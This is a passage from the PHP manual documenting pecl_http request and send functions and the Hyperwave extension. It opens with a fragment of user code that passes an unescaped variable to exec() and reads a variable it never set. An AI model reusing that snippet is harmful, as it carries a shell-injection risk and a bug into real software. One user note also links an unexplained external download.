        $md5_arr = explode(' ',exec("md5sum $tmpFileName"));
        $md5 = $md5sum_arr[0];
        if ($md5 != $md5sum)
          throw new Exception ("Wrong md5");
?>
http_put_data
http_put_stream
HTTP Functions


Perform PUT request with stream

http_put_file
http_request_body_encode
HTTP Functions
PHP Manual

http_put_stream

(PECL pecl_http >= 0.10.0)

http_put_stream — Perform PUT request with stream

Description

string http_put_stream ( string $url , resource $stream [, array $options [, array &$info ]] )

Performs an HTTP PUT request on the supplied url.

See the full list of request options.

Parameters

url

URL

stream

The stream to read the PUT request body from

options

request options

info

Request/response information

Return Values

Returns the HTTP response(s) as string on success, or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
http_put_file
http_request_body_encode
HTTP Functions


Encode request body

http_put_stream
http_request_method_exists
HTTP Functions
PHP Manual

http_request_body_encode

(PECL pecl_http >= 1.0.0)

http_request_body_encode — Encode request body

Description

string http_request_body_encode ( array $fields , array $files )

Generate x-www-form-urlencoded resp. form-data encoded request body.

Parameters

fields

POST fields

files

POST files

Return Values

Returns encoded string on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
http_put_stream
http_request_method_exists
HTTP Functions


Check whether request method exists

http_request_body_encode
http_request_method_name
HTTP Functions
PHP Manual

http_request_method_exists

(PECL pecl_http >= 0.10.0)

http_request_method_exists — Check whether request method exists

Description

int http_request_method_exists ( mixed $method )

Check if a request method is registered (or available by default).

Parameters

method

request method name or ID

Return Values

Returns TRUE if the request method is known, else FALSE.

User Contributed Notes

There are no user contributed notes for this page.
http_request_body_encode
http_request_method_name
HTTP Functions


Get request method name

http_request_method_exists
http_request_method_register
HTTP Functions
PHP Manual

http_request_method_name

(PECL pecl_http >= 0.10.0)

http_request_method_name — Get request method name

Description

string http_request_method_name ( int $method )

Get the literal string representation of a standard or registered request method.

Parameters

method

request method ID

Return Values

Returns the request method name as string on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
http_request_method_exists
http_request_method_register
HTTP Functions


Register request method

http_request_method_name
http_request_method_unregister
HTTP Functions
PHP Manual

http_request_method_register

(PECL pecl_http >= 0.10.0)

http_request_method_register — Register request method

Description

int http_request_method_register ( string $method )

Register a custom request method.

Parameters

method

the request method name to register

Return Values

Returns the ID of the request method on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
http_request_method_name
http_request_method_unregister
HTTP Functions


Unregister request method

http_request_method_register
http_request
HTTP Functions
PHP Manual

http_request_method_unregister

(PECL pecl_http >= 0.10.0)

http_request_method_unregister — Unregister request method

Description

bool http_request_method_unregister ( mixed $method )

Unregister a previously registered custom request method.

Parameters

method

The request method name or ID

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
http_request_method_register
http_request
HTTP Functions


Perform custom request

http_request_method_unregister
http_redirect
HTTP Functions
PHP Manual

http_request

(PECL pecl_http >= 1.0.0)

http_request — Perform custom request

Description

string http_request ( int $method , string $url [, string $body [, array $options [, array &$info ]]] )

Performs a custom HTTP request on the supplied url.

See the full list of request options.

Parameters

method

Request method

url

URL

body

Request body

options

request options

info

Request/response information

Return Values

Returns the HTTP response(s) as string on success, or FALSE on failure.

User Contributed Notes

Dan 05-Jan-2012 11:28
You should specify the first argument (int $method) using one of the Predefined HTTP request method constants specified here:

http://www.php.net/manual/en/http.constants.php

For example:

<?php
http_request (HTTP_METH_PUT, 'www.example.com');
?>
halfcountplus at intergate dot com 10-Jun-2010 06:11
method arg is a define, eg "POST"
You need to install pecl_http to use this.
http_request_method_unregister
http_redirect
HTTP Functions


Issue HTTP redirect

http_request
http_send_content_disposition
HTTP Functions
PHP Manual

http_redirect

(PECL pecl_http >= 0.1.0)

http_redirect — Issue HTTP redirect

Description

bool http_redirect ([ string $url [, array $params [, bool $session = false [, int $status = 0 ]]]] )

Redirect to the given url.

The supplied url will be expanded with http_build_url(), the params array will be treated with http_build_str() and the session identification will be appended if session is true. The HTTP response code will be set according to status. You can use one of the redirect constants for convenience. Please see » RFC 2616 for which redirect response code to use in which situation. By default PHP will decide which response status fits best.

To be RFC compliant, "Redirecting to <a>URL</a>." will be displayed, if the client doesn't redirect immediately, and the request method was another one than HEAD.

A log entry will be written to the redirect log, if the INI setting http.log.redirect is set and the redirect attempt was successful.

Parameters

url

the URL to redirect to

params

associative array of query parameters

session

whether to append session information

status

custom response status code

Return Values

Returns FALSE or exits on success with the specified redirection status code. See the INI setting http.force_exit for what "exits" means.

Examples

Example #1 A http_redirect() example

<?php
http_redirect("relpath", array("name" => "value"), true, HTTP_REDIRECT_PERM);
?>

The above example will output:

HTTP/1.1 301 Moved Permanently
X-Powered-By: PHP/5.2.2
Content-Type: text/html
Location: http://www.example.com/curdir/relpath?name=value&PHPSESSID=abc

Redirecting to <a href="http://www.example.com/curdir/relpath?name=value&PHPSESSID=abc">http://www.example.com/curdir/relpath?name=value&PHPSESSID=abc</a>.

See Also

  • the HttpResponse class if you are using PHP 5.1.0 and above

User Contributed Notes

There are no user contributed notes for this page.
http_request
http_send_content_disposition
HTTP Functions


Send Content-Disposition

http_redirect
http_send_content_type
HTTP Functions
PHP Manual

http_send_content_disposition

(PECL pecl_http >= 0.10.0)

http_send_content_disposition — Send Content-Disposition

Description

bool http_send_content_disposition ( string $filename [, bool $inline = false ] )

Send the Content-Disposition. The Content-Disposition header is very useful if the data actually being sent came from a file or something similar, that should be "saved" by the client/user (i.e. by the browser's "Save as..." popup window).

Note: This function should be used in conjunction with http_send_data(), http_send_file() and http_send_stream().

Parameters

filename

the file name the "Save as..." dialog should display

inline

if set to TRUE and the user agent knows how to handle the content type, it will probably not cause the popup window to be shown

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • http_send_data() - Send arbitrary data
  • http_send_file() - Send file
  • http_send_stream() - Send stream
  • the HttpResponse class if you are using PHP 5.1.0 and above

User Contributed Notes

There are no user contributed notes for this page.
http_redirect
http_send_content_type
HTTP Functions


Send Content-Type

http_send_content_disposition
http_send_data
HTTP Functions
PHP Manual

http_send_content_type

(PECL pecl_http >= 0.10.0)

http_send_content_type — Send Content-Type

Description

bool http_send_content_type ([ string $content_type = "application/x-octetstream" ] )

Send the Content-Type of the sent entity.

Note: This function should be used in conjunction with http_send_data(), http_send_file() and http_send_stream().

Parameters

content_type

the desired content type (primary/secondary)

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Raises an E_WARNING when the content_type doesn't seem to contain a primary and a secondary part.

See Also

  • http_send_data() - Send arbitrary data
  • http_send_file() - Send file
  • http_send_stream() - Send stream
  • the HttpResponse class if you are using PHP 5.1.0 and above

User Contributed Notes

There are no user contributed notes for this page.
http_send_content_disposition
http_send_data
HTTP Functions


Send arbitrary data

http_send_content_type
http_send_file
HTTP Functions
PHP Manual

http_send_data

(PECL pecl_http >= 0.1.0)

http_send_data — Send arbitrary data

Description

bool http_send_data ( string $data )

Sends raw data with support for (multiple) range requests.

Parameters

data

data to send

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • http_send_file() - Send file
  • http_send_stream() - Send stream
  • http_throttle() - HTTP throttling
  • http_send_content_type() - Send Content-Type
  • http_send_content_disposition() - Send Content-Disposition
  • the HttpResponse class if you are using PHP 5.1.0 and above

User Contributed Notes

There are no user contributed notes for this page.
http_send_content_type
http_send_file
HTTP Functions


Send file

http_send_data
http_send_last_modified
HTTP Functions
PHP Manual

http_send_file

(PECL pecl_http >= 0.1.0)

http_send_file — Send file

Description

bool http_send_file ( string $file )

Sends a file with support for (multiple) range requests.

This functions behaviour and further action is dependent on the following INI settings: http.send.not_found_404 and http.log.not_found.

If the INI setting http.send.not_found_404 is enabled and the INI setting http.log.not_found points to a writable file, a log message is written when the file was not found.

Parameters

file

the file to send

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 A http_send_file() example

<?php
http_send_content_disposition("document.pdf", true);
http_send_content_type("application/pdf");
http_throttle(0.1, 2048);
http_send_file("../report.pdf");
?>

The above example will output:

HTTP/1.1 206 Partial Content
X-Powered-By: PHP/5.2.2
Accept-Ranges: bytes
Content-Length: 12345
Content-Range: bytes 0-12344
Content-Type: application/pdf
Content-Disposition: inline; filename="document.pdf"

%PDF...

See Also

  • http_send_data() - Send arbitrary data
  • http_send_stream() - Send stream
  • http_throttle() - HTTP throttling
  • http_send_content_type() - Send Content-Type
  • http_send_content_disposition() - Send Content-Disposition
  • the HttpResponse class if you are using PHP 5.1.0 and above

User Contributed Notes

There are no user contributed notes for this page.
http_send_data
http_send_last_modified
HTTP Functions


Send Last-Modified

http_send_file
http_send_status
HTTP Functions
PHP Manual

http_send_last_modified

(PECL pecl_http >= 0.1.0)

http_send_last_modified — Send Last-Modified

Description

bool http_send_last_modified ([ int $timestamp = time() ] )

Send a Last-Modified header with a valid HTTP date.

Note: This function should be used in conjunction with http_send_data(), http_send_file() and http_send_stream().

Parameters

timestamp

a Unix timestamp, converted to a valid HTTP date; if omitted, the current time will be sent

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • the HttpResponse class if you are using PHP 5.1.0 and above

User Contributed Notes

There are no user contributed notes for this page.
http_send_file
http_send_status
HTTP Functions


Send HTTP response status

http_send_last_modified
http_send_stream
HTTP Functions
PHP Manual

http_send_status

(PECL pecl_http >= 0.1.0)

http_send_status — Send HTTP response status

Description

bool http_send_status ( int $status )

Send HTTP status code.

Parameters

status

HTTP status code (100-599)

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • the HttpResponse class if you are using PHP 5.1.0 and above

User Contributed Notes

There are no user contributed notes for this page.
http_send_last_modified
http_send_stream
HTTP Functions


Send stream

http_send_status
http_throttle
HTTP Functions
PHP Manual

http_send_stream

(PECL pecl_http >= 0.1.0)

http_send_stream — Send stream

Description

bool http_send_stream ( resource $stream )

Sends an already opened stream with support for (multiple) range requests.

Parameters

stream

stream to read from (must be seekable)

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • http_send_data() - Send arbitrary data
  • http_send_file() - Send file
  • http_throttle() - HTTP throttling
  • http_send_content_type() - Send Content-Type
  • http_send_content_disposition() - Send Content-Disposition
  • the HttpResponse class if you are using PHP 5.1.0 and above

User Contributed Notes

There are no user contributed notes for this page.
http_send_status
http_throttle
HTTP Functions


HTTP throttling

http_send_stream
http_build_str
HTTP Functions
PHP Manual

http_throttle

(PECL pecl_http >= 0.10.0)

http_throttle — HTTP throttling

Description

void http_throttle ( float $sec [, int $bytes = 40960 ] )

Sets the throttle delay and send buffer size.

Note: This function should be used in conjunction with http_send_data(), http_send_file() and http_send_stream().

Note: Provides a basic throttling mechanism, which will yield the current process or thread until the entity has been completely sent.

Note:

This may not work as expected with the following SAPI(s): FastCGI.

Parameters

sec

seconds to sleep after each chunk sent

bytes

the chunk size in bytes

Examples

Example #1 A http_throttle() example

Send file with approximately 20 kbyte/s.

<?php
// ~ 20 kbyte/s
# http_throttle(1, 20000);
# http_throttle(0.5, 10000);
http_throttle(0.1, 2000);
http_send_file('document.pdf');
?>

See Also

  • http_send_data() - Send arbitrary data
  • http_send_file() - Send file
  • http_send_stream() - Send stream
  • the HttpResponse class if you are using PHP 5.1.0 and above

User Contributed Notes

dr dot sane at gmail dot com 19-Mar-2011 01:24
Note that in the example when it says "Send file with approximately 20 kbyte/s." that is only an upper bound. The file could still be sent at a lesser speed (e.g. 10 kb/s) if the client, network, or server, cannot handle the amount.
http_send_stream
http_build_str
HTTP Functions


Build query string

http_throttle
http_build_url
HTTP Functions
PHP Manual

http_build_str

(PECL pecl_http >= 0.23.0)

http_build_str — Build query string

Description

string http_build_str ( array $query [, string $prefix [, string $arg_separator = ini_get("arg_separator.output") ]] )

Opponent to parse_str().

Parameters

query

associative array of query string parameters

prefix

top level prefix

arg_separator

argument separator to use (by default the INI setting arg_separator.output will be used, or "&" if neither is set

Return Values

Returns the built query as string on success or FALSE on failure.

See Also

  • standard http_build_query() - Generate URL-encoded query string
  • http_build_url() - Build a URL

User Contributed Notes

There are no user contributed notes for this page.
http_throttle
http_build_url
HTTP Functions


Build a URL

http_build_str
Hyperwave
HTTP Functions
PHP Manual

http_build_url

(PECL pecl_http >= 0.21.0)

http_build_url — Build a URL

Description

string http_build_url ([ mixed $url [, mixed $parts [, int $flags = HTTP_URL_REPLACE [, array &$new_url ]]]] )

Build a URL.

The parts of the second URL will be merged into the first according to the flags argument.

Parameters

url

(part(s) of) an URL in form of a string or associative array like parse_url() returns

parts

same as the first argument

flags

a bitmask of binary or'ed HTTP_URL constants; HTTP_URL_REPLACE is the default

new_url

if set, it will be filled with the parts of the composed url like parse_url() would return

Return Values

Returns the new URL as string on success or FALSE on failure.

Examples

Example #1 A http_build_url() example

<?php
echo http_build_url("http://user@www.example.com/pub/index.php?a=b#files",
    array(
        "scheme" => "ftp",
        "host" => "ftp.example.com",
        "path" => "files/current/",
        "query" => "a=c"
    ),
    HTTP_URL_STRIP_AUTH | HTTP_URL_JOIN_PATH | HTTP_URL_JOIN_QUERY | HTTP_URL_STRIP_FRAGMENT
);
?>

The above example will output:

ftp://ftp.example.com/pub/files/current/?a=c

See Also

  • parse_url() - Parse a URL and return its components
  • http_build_str() - Build query string

User Contributed Notes

Ant P. 09-Jun-2010 09:58
This function has a useful undocumented feature - the defaults are set in such a way that calling it with no parameters returns the full URL of the page being accessed.
tycoonmaster at gmail dot com 20-Feb-2010 11:55
If you are looking for a PHP Version of this function, follow the link below:

http://www.mediafire.com/?zjry3tynkg5

Note: I would have added the function here, but I just couldn't get it past the line restrictions without making it impossible to read.

Enjoy.
http_build_str
Hyperwave
HTTP Functions


Hyperwave

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Integration with Apache
  • Hyperwave Functions
    • hw_Array2Objrec — Convert attributes from object array to object record
    • hw_changeobject — Changes attributes of an object (obsolete)
    • hw_Children — Object ids of children
    • hw_ChildrenObj — Object records of children
    • hw_Close — Closes the Hyperwave connection
    • hw_Connect — Opens a connection
    • hw_connection_info — Prints information about the connection to Hyperwave server
    • hw_cp — Copies objects
    • hw_Deleteobject — Deletes object
    • hw_DocByAnchor — Object id object belonging to anchor
    • hw_DocByAnchorObj — Object record object belonging to anchor
    • hw_Document_Attributes — Object record of hw_document
    • hw_Document_BodyTag — Body tag of hw_document
    • hw_Document_Content — Returns content of hw_document
    • hw_Document_SetContent — Sets/replaces content of hw_document
    • hw_Document_Size — Size of hw_document
    • hw_dummy — Hyperwave dummy function
    • hw_EditText — Retrieve text document
    • hw_Error — Error number
    • hw_ErrorMsg — Returns error message
    • hw_Free_Document — Frees hw_document
    • hw_GetAnchors — Object ids of anchors of document
    • hw_GetAnchorsObj — Object records of anchors of document
    • hw_GetAndLock — Return object record and lock object
    • hw_GetChildColl — Object ids of child collections
    • hw_GetChildCollObj — Object records of child collections
    • hw_GetChildDocColl — Object ids of child documents of collection
    • hw_GetChildDocCollObj — Object records of child documents of collection
    • hw_GetObject — Object record
    • hw_GetObjectByQuery — Search object
    • hw_GetObjectByQueryColl — Search object in collection
    • hw_GetObjectByQueryCollObj — Search object in collection
    • hw_GetObjectByQueryObj — Search object
    • hw_GetParents — Object ids of parents
    • hw_GetParentsObj — Object records of parents
    • hw_getrellink — Get link from source to dest relative to rootid
    • hw_GetRemote — Gets a remote document
    • hw_getremotechildren — Gets children of remote document
    • hw_GetSrcByDestObj — Returns anchors pointing at object
    • hw_GetText — Retrieve text document
    • hw_getusername — Name of currently logged in user
    • hw_Identify — Identifies as user
    • hw_InCollections — Check if object ids in collections
    • hw_Info — Info about connection
    • hw_InsColl — Insert collection
    • hw_InsDoc — Insert document
    • hw_insertanchors — Inserts only anchors into text
    • hw_InsertDocument — Upload any document
    • hw_InsertObject — Inserts an object record
    • hw_mapid — Maps global id on virtual local id
    • hw_Modifyobject — Modifies object record
    • hw_mv — Moves objects
    • hw_New_Document — Create new document
    • hw_objrec2array — Convert attributes from object record to object array
    • hw_Output_Document — Prints hw_document
    • hw_pConnect — Make a persistent database connection
    • hw_PipeDocument — Retrieve any document
    • hw_Root — Root object id
    • hw_setlinkroot — Set the id to which links are calculated
    • hw_stat — Returns status string
    • hw_Unlock — Unlock object
    • hw_Who — List of currently logged in users

User Contributed Notes

There are no user contributed notes for this page.
http_build_url
Introduction
Other Services


Introduction

Hyperwave has been developed at » IICM in Graz. It started with the name Hyper-G and changed to Hyperwave when it was commercialised (in 1996).

Hyperwave is not free software. The current version, 5.5 is available at » http://www.hyperwave.com/. A time limited version can be ordered for free (30 days).

See also the Hyperwave API module.

Hyperwave is an information system similar to a database (HIS, Hyperwave Information Server). Its focus is the storage and management of documents. A document can be any possible piece of data that may as well be stored in file. Each document is accompanied by its object record. The object record contains meta data for the document. The meta data is a list of attributes which can be extended by the user. Certain attributes are always set by the Hyperwave server, other may be modified by the user. An attribute is a name/value pair of the form name=value. The complete object record contains as many of those pairs as the user likes. The name of an attribute does not have to be unique, e.g. a title may appear several times within an object record. This makes sense if you want to specify a title in several languages. In such a case there is a convention, that each title value is preceded by the two letter language abbreviation followed by a colon, e.g. 'en:Title in English' or 'de:Titel in deutsch'. Other attributes like a description or keywords are potential candidates. You may also replace the language abbreviation by any other string as long as it separated by colon from the rest of the attribute value.

Each object record has native a string representation with each name/value pair separated by a newline. The Hyperwave extension also knows a second representation which is an associated array with the attribute name being the key. Multilingual attribute values itself form another associated array with the key being the language abbreviation. Actually any multiple attribute forms an associated array with the string left to the colon in the attribute value being the key. (This is not fully implemented. Only the attributes Title, Description and Keyword are treated properly yet.)

Besides the documents, all hyper links contained in a document are stored as object records as well. Hyper links which are in a document will be removed from it and stored as individual objects, when the document is inserted into the database. The object record of the link contains information about where it starts and where it ends. In order to gain the original document you will have to retrieve the plain document without the links and the list of links and reinsert them. The functions hw_pipedocument() and hw_gettext() do this for you. The advantage of separating links from the document is obvious. Once a document to which a link is pointing to changes its name, the link can easily be modified accordingly. The document containing the link is not affected at all. You may even add a link to a document without modifying the document itself.

Saying that hw_pipedocument() and hw_gettext() do the link insertion automatically is not as simple as it sounds. Inserting links implies a certain hierarchy of the documents. On a web server this is given by the file system, but Hyperwave has its own hierarchy and names do not reflect the position of an object in that hierarchy. Therefore creation of links first of all requires a mapping from the Hyperwave hierarchy and namespace into a web hierarchy respective web namespace. The fundamental difference between Hyperwave and the web is the clear distinction between names and hierarchy in Hyperwave. The name does not contain any information about the objects position in the hierarchy. In the web the name also contains the information on where the object is located in the hierarchy. This leads to two possibles ways of mapping. Either the Hyperwave hierarchy and name of the Hyperwave object is reflected in the URL or the name only. To make things simple the second approach is used. Hyperwave object with name my_object is mapped to http://host/my_object disregarding where it resides in the Hyperwave hierarchy. An object with name parent/my_object could be the child of my_object in the Hyperwave hierarchy, though in a web namespace it appears to be just the opposite and the user might get confused. This can only be prevented by selecting reasonable object names.

Having made this decision a second problem arises. How do you involve PHP? The URL http://host/my_object will not call any PHP script unless you tell your web server to rewrite it to e.g. http://host/php_script/my_object and the script php_script evaluates the $PATH_INFO variable and retrieves the object with name my_object from the Hyperwave server. Their is just one little drawback which can be fixed easily. Rewriting any URL would not allow any access to other document on the web server. A PHP script for searching in the Hyperwave server would be impossible. Therefore you will need at least a second rewriting rule to exclude certain URLs like all e.g. starting with http://host/Hyperwave This is basically sharing of a namespace by the web and Hyperwave server.

Based on the above mechanism links are insert into documents.

It gets more complicated if PHP is not run as a server module or CGI script but as a standalone application e.g. to dump the content of the Hyperwave server on a CD-ROM. In such a case it makes sense to retain the Hyperwave hierarchy and map in onto the file system. This conflicts with the object names if they reflect its own hierarchy (e.g. by choosing names including '/'). Therefore '/' has to be replaced by another character, e.g. '_'.

The network protocol to communicate with the Hyperwave server is called » HG-CSP (Hyper-G Client/Server Protocol). It is based on messages to initiate certain actions, e.g. get object record. In early versions of the Hyperwave Server two native clients (Harmony, Amadeus) were provided for communication with the server. Those two disappeared when Hyperwave was commercialised. As a replacement a so called wavemaster was provided. The wavemaster is like a protocol converter from HTTP to HG-CSP. The idea is to do all the administration of the database and visualisation of documents by a web interface. The wavemaster implements a set of placeholders for certain actions to customise the interface. This set of placeholders is called the PLACE Language. PLACE lacks a lot of features of a real programming language and any extension to it only enlarges the list of placeholders. This has led to the use of JavaScript which IMO does not make life easier.

Adding Hyperwave support to PHP should fill in the gap of a missing programming language for interface customisation. It implements all the messages as defined by the HG-CSP but also provides more powerful commands to e.g. retrieve complete documents.

Hyperwave has its own terminology to name certain pieces of information. This has widely been taken over and extended. Almost all functions operate on one of the following data types.

  • object ID: A unique integer value for each object in the Hyperwave server. It is also one of the attributes of the object record (ObjectID). Object ids are often used as an input parameter to specify an object.
  • object record: A string with attribute-value pairs of the form attribute=value. The pairs are separated by a carriage return from each other. An object record can easily be converted into an object array with hw_object2array(). Several functions return object records. The names of those functions end with obj.
  • object array: An associative array with all attributes of an object. The keys are the attribute names. If an attribute occurs more than once in an object record it will result in another indexed or associative array. Attributes which are language depended (like the title, keyword, description) will form an associative array with the keys set to the language abbreviations. All other multiple attributes will form an indexed array. PHP functions never return object arrays.
  • hw_document: This is a complete new data type which holds the actual document, e.g. HTML, PDF etc. It is somewhat optimized for HTML documents but may be used for any format.

Several functions which return an array of object records do also return an associative array with statistical information about them. The array is the last element of the object record array. The statistical array contains the following entries:

Hidden
Number of object records with attribute PresentationHints set to Hidden.
CollectionHead
Number of object records with attribute PresentationHints set to CollectionHead.
FullCollectionHead
Number of object records with attribute PresentationHints set to FullCollectionHead.
CollectionHeadNr
Index in array of object records with attribute PresentationHints set to CollectionHead.
FullCollectionHeadNr
Index in array of object records with attribute PresentationHints set to FullCollectionHead.
Total
Total: Number of object records.

User Contributed Notes

There are no user contributed notes for this page.
Hyperwave
Installing/Configuring
Hyperwave


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Hyperwave


Requirements

This extension needs a Hyperwave server downloadable from » http://www.hyperwave.com/.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

This extension is considered unmaintained and dead. However, the source code for this extension is still available within PECL SVN here: » http://svn.php.net/viewvc/pecl/hyperwave.

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.0.0

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Hyperwave configuration options
Name | Default | Changeable | Changelog
hyperwave.allow_persistent | "0" | PHP_INI_SYSTEM | Available since PHP 4.3.2. Removed in PHP 5.0.0.
hyperwave.default_port | "418" | PHP_INI_ALL | Removed in PHP 5.0.0.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

HW_ATTR_LANG (integer)
HW_ATTR_NR (integer)
HW_ATTR_NONE (integer)

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Integration with Apache
Hyperwave


Integration with Apache

The Hyperwave extension is best used when PHP is compiled as an Apache module. In such a case the underlying Hyperwave server can be hidden from users almost completely if Apache uses its rewriting engine. The following instructions will explain this.

Since PHP with Hyperwave support built into Apache is intended to replace the native Hyperwave solution based on Wavemaster, we will assume that the Apache server will only serve as a Hyperwave web interface for these examples. This is not necessary but it simplifies the configuration. The concept is quite simple. First of all you need a PHP script which evaluates the $_ENV['PATH_INFO'] variable and treats its value as the name of a Hyperwave object. Let's call this script 'Hyperwave'. The URL http://your.hostname/Hyperwave/name_of_object would than return the Hyperwave object with the name 'name_of_object'. Depending on the type of the object the script has to react accordingly. If it is a collection, it will probably return a list of children. If it is a document it will return the mime type and the content. A slight improvement can be achieved if the Apache rewriting engine is used. From the users point of view it would be more straight forward if the URL http://your.hostname/name_of_object would return the object. The rewriting rule is quite easy:

RewriteRule ^/(.*) /usr/local/apache/htdocs/HyperWave/$1 [L]
Now every URL relates to an object in the Hyperwave server. This causes a simple to solve problem. There is no way to execute a different script, e.g. for searching, than the 'Hyperwave' script. This can be fixed with another rewriting rule like the following:
RewriteRule ^/hw/(.*) /usr/local/apache/htdocs/hw/$1 [L]
This will reserve the directory /usr/local/apache/htdocs/hw for additional scripts and other files. Just make sure this rule is evaluated before the one above. There is just a little drawback: all Hyperwave objects whose name starts with 'hw/' will be shadowed. So, make sure you don't use such names. If you need more directories, e.g. for images just add more rules or place them all in one directory. Before you put those instructions, don't forget to turn on the rewriting engine with
RewriteEngine on
You will need scripts:
  • to return the object itself
  • to allow searching
  • to identify yourself
  • to set your profile
  • one for each additional function like to show the object attributes, to show information about users, to show the status of the server, etc.

As an alternative to the Rewrite Engine, you can also consider using the Apache ErrorDocument directive, but be aware, that ErrorDocument redirected pages cannot receive POST data.

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Hyperwave Functions
Hyperwave


Hyperwave Functions

Todo

There are still some things to do:

  • The hw_InsertDocument has to be split into hw_insertobject() and hw_putdocument().
  • The names of several functions are not fixed, yet.
  • Most functions require the current connection as its first parameter. This leads to a lot of typing, which is quite often not necessary if there is just one open connection. A default connection will improve this.
  • Conversion form object record into object array needs to handle any multiple attribute.

Table of Contents

  • hw_Array2Objrec — Convert attributes from object array to object record
  • hw_changeobject — Changes attributes of an object (obsolete)
  • hw_Children — Object ids of children
  • hw_ChildrenObj — Object records of children
  • hw_Close — Closes the Hyperwave connection
  • hw_Connect — Opens a connection
  • hw_connection_info — Prints information about the connection to Hyperwave server
  • hw_cp — Copies objects
  • hw_Deleteobject — Deletes object
  • hw_DocByAnchor — Object id object belonging to anchor
  • hw_DocByAnchorObj — Object record object belonging to anchor
  • hw_Document_Attributes — Object record of hw_document
  • hw_Document_BodyTag — Body tag of hw_document
  • hw_Document_Content — Returns content of hw_document
  • hw_Document_SetContent — Sets/replaces content of hw_document
  • hw_Document_Size — Size of hw_document
  • hw_dummy — Hyperwave dummy function
  • hw_EditText — Retrieve text document
  • hw_Error — Error number
  • hw_ErrorMsg — Returns error message
  • hw_Free_Document — Frees hw_document
  • hw_GetAnchors — Object ids of anchors of document
  • hw_GetAnchorsObj — Object records of anchors of document
  • hw_GetAndLock — Return object record and lock object
  • hw_GetChildColl — Object ids of child collections
  • hw_GetChildCollObj — Object records of child collections
  • hw_GetChildDocColl — Object ids of child documents of collection
  • hw_GetChildDocCollObj — Object records of child documents of collection
  • hw_GetObject — Object record
  • hw_GetObjectByQuery — Search object
  • hw_GetObjectByQueryColl — Search object in collection
  • hw_GetObjectByQueryCollObj — Search object in collection
  • hw_GetObjectByQueryObj — Search object
  • hw_GetParents — Object ids of parents
  • hw_GetParentsObj — Object records of parents
  • hw_getrellink — Get link from source to dest relative to rootid
  • hw_GetRemote — Gets a remote document
  • hw_getremotechildren — Gets children of remote document
  • hw_GetSrcByDestObj — Returns anchors pointing at object
  • hw_GetText — Retrieve text document
  • hw_getusername — Name of currently logged in user
  • hw_Identify — Identifies as user
  • hw_InCollections — Check if object ids in collections
  • hw_Info — Info about connection
  • hw_InsColl — Insert collection
  • hw_InsDoc — Insert document
  • hw_insertanchors — Inserts only anchors into text
  • hw_InsertDocument — Upload any document
  • hw_InsertObject — Inserts an object record
  • hw_mapid — Maps global id on virtual local id
  • hw_Modifyobject — Modifies object record
  • hw_mv — Moves objects
  • hw_New_Document — Create new document
  • hw_objrec2array — Convert attributes from object record to object array
  • hw_Output_Document — Prints hw_document
  • hw_pConnect — Make a persistent database connection
  • hw_PipeDocument — Retrieve any document
  • hw_Root — Root object id
  • hw_setlinkroot — Set the id to which links are calculated
  • hw_stat — Returns status string
  • hw_Unlock — Unlock object
  • hw_Who — List of currently logged in users

User Contributed Notes

There are no user contributed notes for this page.
Integration with Apache
hw_Array2Objrec
Hyperwave


Convert attributes from object array to object record

Hyperwave Functions
hw_changeobject
Hyperwave Functions
PHP Manual

hw_Array2Objrec

(PHP 4)

hw_Array2Objrec — Convert attributes from object array to object record

Description

string hw_array2objrec ( array $object_array )

Converts an object_array into an object record. Multiple attributes like 'Title' in different languages are treated properly.

Parameters

object_array

The array.

Return Values

Returns an object record.

See Also

  • hw_objrec2array() - Convert attributes from object record to object array

User Contributed Notes

There are no user contributed notes for this page.
Hyperwave Functions
hw_changeobject
Hyperwave Functions


Changes attributes of an object (obsolete)

hw_Array2Objrec
hw_Children
Hyperwave Functions
PHP Manual

hw_changeobject

(PHP 4)

hw_changeobject — Changes attributes of an object (obsolete)

Description

bool hw_changeobject ( int $link , int $objid , array $attributes )

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
hw_Array2Objrec
hw_Children
Hyperwave Functions


Object ids of children

hw_changeobject
hw_ChildrenObj
Hyperwave Functions
PHP Manual

hw_Children

(PHP 4)

hw_Children — Object ids of children

Description

array hw_children ( int $connection , int $objectID )

Returns the identifiers of the collection children.

Parameters

connection

The connection identifier.

objectID

The object identifier.

Return Values

Returns an array of object ids. Each id belongs to a child of the collection with ID objectID. The array contains all children both documents and collections.

User Contributed Notes

There are no user contributed notes for this page.
hw_changeobject
hw_ChildrenObj
Hyperwave Functions


Object records of children

hw_Children
hw_Close
Hyperwave Functions
PHP Manual

hw_ChildrenObj

(PHP 4)

hw_ChildrenObj — Object records of children

Description

array hw_childrenobj ( int $connection , int $objectID )

Returns the object records of the collection children.

Parameters

connection

The connection identifier.

objectID

The object identifier.

Return Values

Returns an array of object records. Each object record belongs to a child of the collection with ID objectID. The array contains all children both documents and collections.

User Contributed Notes

There are no user contributed notes for this page.
hw_Children
hw_Close
Hyperwave Functions


Closes the Hyperwave connection

hw_ChildrenObj
